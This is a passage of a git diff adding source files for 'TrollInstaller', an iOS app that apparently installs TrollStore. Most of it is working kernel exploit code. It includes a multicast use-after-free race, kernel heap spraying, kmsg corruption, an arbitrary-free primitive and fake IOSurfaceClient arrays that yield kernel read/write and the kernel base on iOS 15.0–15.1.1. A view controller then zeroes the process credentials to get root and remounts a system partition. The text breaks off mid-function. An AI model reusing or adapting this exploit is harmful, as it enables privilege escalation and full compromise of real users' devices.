%lX\n", addr, len); + //usleep(50); + + if(_kread_buf) + { + return _kread_buf(addr, outBuf, len); + } + else + { + uint64_t endAddr = addr + len; + uint32_t outputOffset = 0; + unsigned char* outputBytes = (unsigned char*)outBuf; + + for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4) + { + //printf("read %llX\n", curAddr); + //usleep(1000); + uint32_t k = [self read32BitValueAtAddress:curAddr]; + + unsigned char* kb = (unsigned char*)&k; + for(int i = 0; i < 4; i++) + { + if(outputOffset == len) break; + outputBytes[outputOffset] = kb[i]; + outputOffset++; + } + if(outputOffset == len) break; + } + + return 0; + } +} + +- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize +{ + bzero(outBuf, bufSize); + char* outBufStr = (char*)outBuf; + + uint64_t maxEndAddr = addr + bufSize; + int ci = 0; + + for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4) + { + uint32_t k = [self read32BitValueAtAddress:curAddr]; + char* kb = (char*)&k; + for(int i = 0; i < 4; i++) + { + char c = kb[i]; + if(c == '\0') return 0; + outBufStr[ci] = c; + ci++; + } + } + return 0; +} + +void DumpHex(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + if(i % 16 == 0) + { + printf("0x%zX | ", i); + } + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + printf(" "); + if ((i+1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } +} + +- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len +{ + void* buffer = malloc(len); + int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len]; + if(ret == 0) + { + DumpHex(buffer, len); + } + free(buffer); + return ret; +} + +- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr +{ + if(_kwrite_64) + { + _kwrite_64(addr, value); + } + else if(_kwrite_64_ret) + { + return _kwrite_64_ret(addr, value); + } + else if(_kwrite64_block) + { + return _kwrite64_block(addr, value); + } + else + { + int r1 = [self write32BitValue:(uint32_t)value toAddress:addr]; + int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4]; + return r1 || r2; + } + return 0; +} + +- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr +{ + if(_kwrite_32) + { + _kwrite_32(addr, value); + } + else if(_kwrite_32_ret) + { + return _kwrite_32_ret(addr, value); + } + else if(_kwrite32_block) + { + return _kwrite32_block(addr, value); + } + return 0; +} + +- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr +{ + //printf("write to %llX - %lX\n", addr, len); + //usleep(50); + + if(_kwrite_buf) + { + return _kwrite_buf(addr, inBuf, len); + } + else + { + uint64_t endAddr = addr + len; + uint32_t inputOffset = 0; + unsigned char* inputBytes = (unsigned char*)inBuf; + + for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4) + { + uint32_t toWrite = 0; + int bc = 4; + + uint64_t remainingBytes = endAddr - curAddr; + if(remainingBytes < 4) + { + toWrite = [self read32BitValueAtAddress:curAddr]; + bc = (int)remainingBytes; + } + + unsigned char* wb = (unsigned char*)&toWrite; + for(int i = 0; i < bc; i++) + { + wb[i] = inputBytes[inputOffset]; + inputOffset++; + } + + //printf("write %X to %llX\n", toWrite, curAddr); + //usleep(1000); + + [self write32BitValue:toWrite toAddress:curAddr]; + } + + return 0; + } + return 0; +} + +- (void)finishAndCleanupIfNeeded +{ + if(_kcleanup) + { + _kcleanup(); + } +} + +- (void)dealloc +{ + [self finishAndCleanupIfNeeded]; +} + +@end diff --git a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h new file mode 100644 index 0000000..f707a0f --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.h @@ -0,0 +1,15 @@ +// +// SceneDelegate.h +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import + +@interface SceneDelegate : UIResponder + +@property (strong, nonatomic) UIWindow * window; + +@end + diff --git a/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m new file mode 100644 index 0000000..8568781 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/SceneDelegate.m @@ -0,0 +1,57 @@ +// +// SceneDelegate.m +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import "SceneDelegate.h" + +@interface SceneDelegate () + +@end + +@implementation SceneDelegate + + +- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { + // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. + // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. + // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). +} + + +- (void)sceneDidDisconnect:(UIScene *)scene { + // Called as the scene is being released by the system. + // This occurs shortly after the scene enters the background, or when its session is discarded. + // Release any resources associated with this scene that can be re-created the next time the scene connects. + // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). +} + + +- (void)sceneDidBecomeActive:(UIScene *)scene { + // Called when the scene has moved from an inactive state to an active state. + // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. +} + + +- (void)sceneWillResignActive:(UIScene *)scene { + // Called when the scene will move from an active state to an inactive state. + // This may occur due to temporary interruptions (ex. an incoming phone call). +} + + +- (void)sceneWillEnterForeground:(UIScene *)scene { + // Called as the scene transitions from the background to the foreground. + // Use this method to undo the changes made on entering the background. +} + + +- (void)sceneDidEnterBackground:(UIScene *)scene { + // Called as the scene transitions from the foreground to the background. + // Use this method to save data, release shared resources, and store enough scene-specific state information + // to restore the scene back to its current state. +} + + +@end diff --git a/Installer/TrollInstaller/TrollInstaller/ViewController.h b/Installer/TrollInstaller/TrollInstaller/ViewController.h new file mode 100644 index 0000000..0cea56d --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/ViewController.h @@ -0,0 +1,14 @@ +// +// ViewController.h +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import + +@interface ViewController : UIViewController + + +@end + diff --git a/Installer/TrollInstaller/TrollInstaller/ViewController.m b/Installer/TrollInstaller/TrollInstaller/ViewController.m new file mode 100644 index 0000000..ec2d4c0 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/ViewController.m @@ -0,0 +1,211 @@ +// +// ViewController.m +// TrollInstaller +// +// Created by Lars Fröder on 17.08.22. +// + +#import "ViewController.h" +#import "kutil.h" +#import "exploit/exploit.h" +#import "exploit/kernel_rw.h" +#import "KernelManager.h" +#import "unarchive.h" +#import +#import + +extern uint64_t g_self_proc; + +int runBinary(NSString* path, NSArray* args) +{ + NSMutableArray* argsM = args.mutableCopy; + [argsM insertObject:path.lastPathComponent atIndex:0]; + + NSUInteger argCount = [argsM count]; + char **argsC = (char **)malloc((argCount + 1) * sizeof(char*)); + + for (NSUInteger i = 0; i < argCount; i++) + { + argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]); + } + argsC[argCount] = NULL; + + pid_t task_pid; + int status = 0; + int spawnError = posix_spawn(&task_pid, [path UTF8String], NULL, NULL, (char* const*)argsC, NULL); + for (NSUInteger i = 0; i < argCount; i++) + { + free(argsC[i]); + } + free(argsC); + + if(spawnError != 0) + { + NSLog(@"posix_spawn error %d\n", spawnError); + return spawnError; + } + + waitpid(task_pid, &status, WEXITED); + + waitpid(task_pid, NULL, 0); + + NSLog(@"status = %d", status); + + return status; +} + + +// Get root, credit: @xina520 + +struct k_posix_cred backup_cred; +int backup_groupSize; +gid_t backup_groupList[200]; + +int getRoot(void) +{ + printf("attempting to get root...\n"); + usleep(1000); + + backup_groupSize = getgroups(200, &backup_groupList[0]); + + backup_cred = proc_get_posix_cred(g_self_proc); + + struct k_posix_cred zero_cred = {0}; + printf("setting posix cred to zero cred...\n"); + usleep(1000); + proc_set_posix_cred(g_self_proc, zero_cred); + + int err = setgroups(0,0); + if(err) + { + printf("setgroups error %d\n", err); + usleep(1000); + } + + int uid = getuid(); + printf("getuid => %d\n", uid); + usleep(1000); + + return uid; +} + +int dropRoot(void) +{ + if(getuid() != 0) return getuid(); + + printf("attempting to drop root...\n"); + usleep(1000); + + int err = setgroups(backup_groupSize,backup_groupList); + if(err) + { + printf("setgroups error %d\n", err); + usleep(1000); + } + + proc_set_posix_cred(g_self_proc, backup_cred); + + int uid = getuid(); + printf("dropped root??? uid: %d\n", uid); + return uid; +} + +@interface ViewController () +@property (weak, nonatomic) IBOutlet UILabel *statusLabel; +@end + +@implementation ViewController + +- (void)viewDidLoad { + [super viewDidLoad]; + // Do any additional setup after loading the view. +} + +- (void)updateStatus:(NSString*)status +{ + dispatch_async(dispatch_get_main_queue(), ^{ + self.statusLabel.text = status; + }); +} + +int writeRemountPrivatePreboot(void) +{ + return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"]); +} + +- (void)doInstallation +{ + [self updateStatus:@"Exploiting..."]; + + // Run Kernel exploit + uint64_t kernel_base; + exploit_get_krw_and_kernel_base(&kernel_base); + + // Initialize KernelManager + KernelManager* km = [KernelManager sharedInstance]; + [km loadOffsets]; + [km loadSlidOffsetsWithKernelBase:kernel_base]; + km.kread_32_d = kread32; + km.kread_64_d = kread64; + km.kwrite_32 = kwrite32; + km.kwrite_64 = kwrite64; + km.kcleanup = exploitation_cleanup; + + [self updateStatus:@"Getting root..."]; + + // Get root + getRoot(); + + [self updateStatus:@"Installing..."]; + + writeRemountPrivatePreboot(); + + NSString* tmpDir = @"/private/preboot/tmp"; + + [[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil]; + + NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"]; + + extract(tsTarPath, tmpDir); + + NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"]; + + chmod(helperPath.UTF8String, 0755); + chown(helperPath.UTF8String, 0, 0); + + int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath]); + + [self updateStatus:@"Cleaning up..."]; + + [[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil]; + + // Clean everything up so the kernel doesn't panic when the app exits + dropRoot(); + [km finishAndCleanupIfNeeded]; + + [self updateStatus:@"Done!"]; + + // Print installed message + if(ret == 0) + { + dispatch_async(dispatch_get_main_queue(), ^{ + UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert]; + + UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { + exit(0); + }]; + + [installedAlertController addAction:closeAction]; + + [self presentViewController:installedAlertController animated:YES completion:nil]; + }); + } +} + +- (IBAction)installButtonPressed:(id)sender { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + [self doInstallation]; + }); +} + +@end diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c new file mode 100644 index 0000000..2693d14 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.c @@ -0,0 +1,81 @@ +#include "IOGPU.h" + +#include + +io_connect_t IOGPU_init(void) +{ + mach_port_t mp = MACH_PORT_NULL; + kern_return_t IOMasterPort(mach_port_t, mach_port_t *); + IOMasterPort(MACH_PORT_NULL, &mp); + io_connect_t uc; + + io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator")); + if (s == MACH_PORT_NULL) + { + return 0; + } + + if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS) + { + return 0; + } + + return uc; +} + +void IOGPU_exit(io_connect_t uc) +{ + IOServiceClose(uc); +} + +uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member) +{ + uint64_t outStructCnt = 0x10; + uint32_t inStructCnt = 0x408; + uint8_t inStruct[0x408] = {0}; + uint8_t outStruct[0x10] = {0}; + + // avoid null termination + memset(inStruct, 0x01, 0x30); + *(uint64_t *)(inStruct + 0x30) = member; + + kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt); + + if (kr) + return 0; + + return 1; +} + +int IOGPU_get_command_queue_extra_refills_needed(void) +{ + struct utsname u; + uname(&u); + + // iPhone 7 + // iPhone 11 + // iPhone 12 + // iPhone 13 + if ( + strstr(u.machine, "iPhone9,") + || strstr(u.machine, "iPhone12,") + || strstr(u.machine, "iPhone13,") + || strstr(u.machine, "iPhone14,") + ) + { + return 1; + } + // iPhone 8, X + // iPhone XS, XR + else if ( + strstr(u.machine, "iPhone10,") + || strstr(u.machine, "iPhone11,") + ) + { + return 3; + } + + printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine); + + return -1; +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h new file mode 100644 index 0000000..8ece6aa --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/IOGPU.h @@ -0,0 +1,16 @@ +#ifndef __IOGPU_H__ +#define __IOGPU_H__ + +#include "iokit.h" + +#include +#include + +io_connect_t IOGPU_init(void); +void IOGPU_exit(io_connect_t uc); + +uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member); + +int IOGPU_get_command_queue_extra_refills_needed(void); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c new file mode 100644 index 0000000..5756ff4 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.c @@ -0,0 +1,124 @@ +#include "IOSurfaceRoot.h" + +io_connect_t IOSurfaceRoot_init(void) +{ + kern_return_t IOMasterPort(mach_port_t, mach_port_t *); + mach_port_t mp = MACH_PORT_NULL; + IOMasterPort(MACH_PORT_NULL, &mp); + io_connect_t uc; + + io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot")); + if (s == MACH_PORT_NULL) + { + return 0; + } + + if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS) + { + return 0; + } + + return uc; +} + +void IOSurfaceRoot_exit(io_connect_t uc) +{ + IOServiceClose(uc); +} + +uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc) +{ + // Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4 + struct _IOSurfaceFastCreateArgs { + uint64_t address; + uint32_t width; + uint32_t height; + uint32_t pixel_format; + uint32_t bytes_per_element; + uint32_t bytes_per_row; + uint32_t alloc_size; + }; + + struct IOSurfaceLockResult { + uint8_t _pad1[0x18]; + uint32_t surface_id; + uint8_t _pad2[0xF60-0x18-0x4]; + }; + + struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 }; + struct IOSurfaceLockResult lock_result = {0}; + uint64_t lock_result_size = sizeof(lock_result); + + IOConnectCallMethod( + uc, + 6, + NULL, 0, + &create_args, sizeof(create_args), + NULL, NULL, + &lock_result, (size_t *)&lock_result_size); + + return lock_result.surface_id; +} + +kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id) +{ + uint64_t sz = 0xF60; + uint8_t o[0xF60]; + uint64_t scalarInput = surf_id; + kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz); + return ret; +} + +kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id) +{ + uint64_t scalarInput = surf_id; + kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0); + return ret; +} + +void IOSurfaceRoot_release_all(io_connect_t uc) +{ + for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id) + { + IOSurfaceRoot_release_surface(uc, surf_id); + } +} + +uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id) +{ + uint64_t scalarInput = surf_id; + uint64_t output = 0; + uint64_t outputCnt = 1; + IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0); + + return (uint32_t)output; +} + +void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile) +{ + uint64_t scalarInput[3]; + + scalarInput[0] = surf_id; + scalarInput[1] = 0; + scalarInput[2] = tile; + + IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0); +} + +uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void) +{ + for (int i = 0; i < 4; ++i) + { + io_connect_t uc = IOSurfaceRoot_init(); + for (int i = 0; i < 0xf00; ++i) + { + uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc); + if (0x3400 <= (last_id * sizeof(uint64_t))) + { + return last_id; + } + } + } + + return -1; +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h new file mode 100644 index 0000000..529b2c9 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/IOSurfaceRoot.h @@ -0,0 +1,25 @@ +#ifndef __IOSURFACEROOT_H__ +#define __IOSURFACEROOT_H__ + +#include "iokit.h" + +#include +#include + +io_connect_t IOSurfaceRoot_init(void); +void IOSurfaceRoot_exit(io_connect_t uc); + +uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc); + +kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id); + +int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id); +void IOSurfaceRoot_release_all(io_connect_t uc); + +uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id); + +void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile); + +uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c new file mode 100644 index 0000000..d5c669e --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.c @@ -0,0 +1,335 @@ +#include "exploit.h" + +#include "iokit.h" +#include "IOGPU.h" +#include "IOSurfaceRoot.h" +#include "kernel_rw.h" +#include "kernel_base.h" +#include "mcast.h" +#include "necp.h" +#include "port_utils.h" +#include "spray.h" + +#include +#include +#include +#include +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + +#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device +#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device +#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted) +#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX) +#define BYTECOPY_OFFSET_IPV6 0x28 +#define PORTS_COUNT 0x2A00 +#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX) +#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664 + +mach_port_t notif_port = MACH_PORT_NULL; +mach_port_t *kheap_default_ports = NULL; +uint8_t *IOSurfaceClient_array_buf = NULL; +mach_port_t *kheap_data_ports = NULL; +int kheap_data_idx = -1; +int extra_frees_for_device = -1; +io_connect_t iogpu_connect = MACH_PORT_NULL; + +mach_port_t get_arb_free_holder(void) +{ + int success = 0; + + // reliability voodoo + for (int i = 0; i < 3; ++i) + { + mcast_increase_race_reliability(); + printf("Increase reliability...\n"); + } + + // more reliability voodoo + pthread_attr_t pattr; + pthread_attr_init(&pattr); + pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0); + + // initialize refill buffer, putting the target for the bytecopy primitive there + uint8_t *necp_buf = malloc(4096); + *(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET; + + printf("Start (will fail if device has not been rebooted since last run)\n"); + kheap_data_idx = -1; + for (int iterations = 0; iterations < 255; ++iterations) + { + pthread_t pt1; + pthread_t pt2; + int s = socket(AF_INET6, SOCK_DGRAM, 0); + int necp_fd = necp_open(0); + + mcast_race_sock = s; + + // grow the buffer on which the UaF will be triggered to default.kalloc.1664 and + // put it at its max size before next realloc will occur + int ip = 0; + for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip) + { + mcast_join_group(ip); + } + + // trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful + pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip); + pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1)); + + // refill the UaF buffer in default.kalloc.1664 during the race + for (int i = 0; i < 10; ++i) + { + spray_default_kalloc_necp(necp_fd, necp_buf, 0x318); + } + + // synchronize + pthread_join(pt1, NULL); + pthread_join(pt2, NULL); + + // find out if the refill succeeded, in which case a corrupted trailer size will be returned + // for the holder of the corrupted kmsg, which has also had its message bits corrupted + // (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set) + { + for (int i = 0; i < PORTS_COUNT; ++i) + { + int sz = port_peek_trailer_size(kheap_data_ports[i]); + if (sz != 8) + { + printf("kheap_data_idx: %08X\n", i); + kheap_data_idx = i; + break; + } + } + if (kheap_data_idx != -1) + { + success = 1; + break; + } + } + + close(s); + printf("iteration %d\n", iterations); + } + + if (!success) + { + printf("Failed! Run exploit only once per boot\n"); + printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n"); + exit(1); + } + + free(necp_buf); + + return kheap_data_ports[kheap_data_idx]; +} + +int exploitation_init(void) +{ + // different by device, retrieve it first and fail if unsuccessful + extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed(); + if (extra_frees_for_device == -1) + { + printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n"); + return 1; + } + + kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t)); + mach_port_t *ool_ports = malloc(0x4000); + uint8_t *kheap_data_spray_buf = malloc(0x4000); + memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t)); + memset(ool_ports, 0, 0x4000); + memset(kheap_data_spray_buf, 0, 0x4000); + + // initialize the inline data + + // fake descriptor for free primitive + *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1; + *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target + *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc + // align a pointer here so that when the kmsg trailer size is corrupted, this pointer + // will after that be followed and a second bytecopy performed where it points (kmsg message bits) + *(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET; + + // spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC + for (int i = 0; i < PORTS_COUNT; ++i) + { + // KHEAP_DEFAULT + *ool_ports = port_new(); + contained_ports[i] = *ool_ports; + mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports); + kheap_default_ports[i] = pp[0]; + free(pp); + + // KHEAP_DATA_BUFFERS + kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE); + } + + notif_port = port_new(); + for (int i = 0; i < PORTS_COUNT; ++i) + { + mach_port_t prev; + mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev); + mach_port_deallocate(mach_task_self(), contained_ports[i]); + } + + // pre-init kernel rw + IOSurfaceClient_array_buf = malloc(0x4000); + kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000); + + free(contained_ports); + free(ool_ports); + free(kheap_data_spray_buf); + + return 0; +} + +int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base) +{ + uint8_t msg_buf[0x100]; + int fildes[2]; + pipe(fildes); + int read_pipe = fildes[0]; + int write_pipe = fildes[1]; + + // alloc this one before array of IOSurfaceClients becomes 0x4000 + io_connect_t iosurface_connect_krw = IOSurfaceRoot_init(); + + // cause max size of arrays of IOSurfaceClients to become 0x4000 + uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000(); + + // trigger arbitrary free in kheap default + port_destroy(arb_free_holder); + + // do refill in kheap default + IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id); + // NULL out array + IOSurfaceRoot_release_all(iosurface_connect_krw); + + // find allocation at KHEAP_DEFAULT_MAPPABLE_LOC + int kheap_default_idx = -1; + for (uint32_t i = 0; + (i < PORTS_COUNT) && port_has_msg(notif_port); + i++) + { + port_receive_msg(notif_port, msg_buf, sizeof(msg_buf)); + + port_destroy(kheap_default_ports[i]); + + kheap_default_idx = i; + } + + // Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC + // has been free'd and will be refilled below + + // printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n"); + + if (kheap_default_idx >= PORTS_COUNT) + { + printf("kheap_default_idx >= PORTS_COUNT\n"); + exit(1); + } + + // extra frees + for (int i = 0; i < extra_frees_for_device; ++i) + { + port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]); + } + + // do refill + iogpu_connect = IOGPU_init(); + // add entry + IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10); + + printf("kheap_default_idx: %08X\n", kheap_default_idx); + + // refill in kheap data + port_destroy(kheap_data_ports[kheap_data_idx-1]); + write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe); + + kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED); + uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC); + printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result); + if (result != 0xFEED) + { + printf("Failed! Reboot to try again (remember to only run once per boot)\n"); + exit(1); + } + + printf("Get kernel base...\n"); + + *kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000); + printf("Got kernel base: %p\n", (void *)*kernel_base); + + return 0; +} + +void exploitation_cleanup(void) +{ + uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8); + uint64_t parent_loc = kread64(command_queue_loc + 0x488); + uint64_t namespace_loc = kread64(parent_loc + 0x88); + + // bump refs + kwrite32(command_queue_loc + 0x8, 10); + kwrite32(namespace_loc + 0x8, 10); + + IOServiceClose(iogpu_connect); +} + +int exploit_get_krw_and_kernel_base(uint64_t *kernel_base) +{ + uint64_t _kernel_base = 0; + + // generic exploitation init + if (exploitation_init() != 0) + { + return 1; + } + + // trigger bug, get arbitrary free + mach_port_t arb_free_holder = get_arb_free_holder(); + + // generic exploitation using arbitrary free + exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base); + + // generic exploitation cleanup (kernel r/w still active) + //exploitation_cleanup(); + + *kernel_base = _kernel_base; + + return 0; +} + +int exploit_go(void) +{ + uint64_t kernel_base = 0; + + if (exploit_get_krw_and_kernel_base(&kernel_base) != 0) + { + printf("Exploit failed!\n"); + return 1; + } + + // test kernel r/w, read kernel base + uint32_t mh_magic = kread32(kernel_base); + if (mh_magic != 0xFEEDFACF) + { + printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic); + return 1; + } + + printf("kread32(_kernel_base) success: %08X\n", mh_magic); 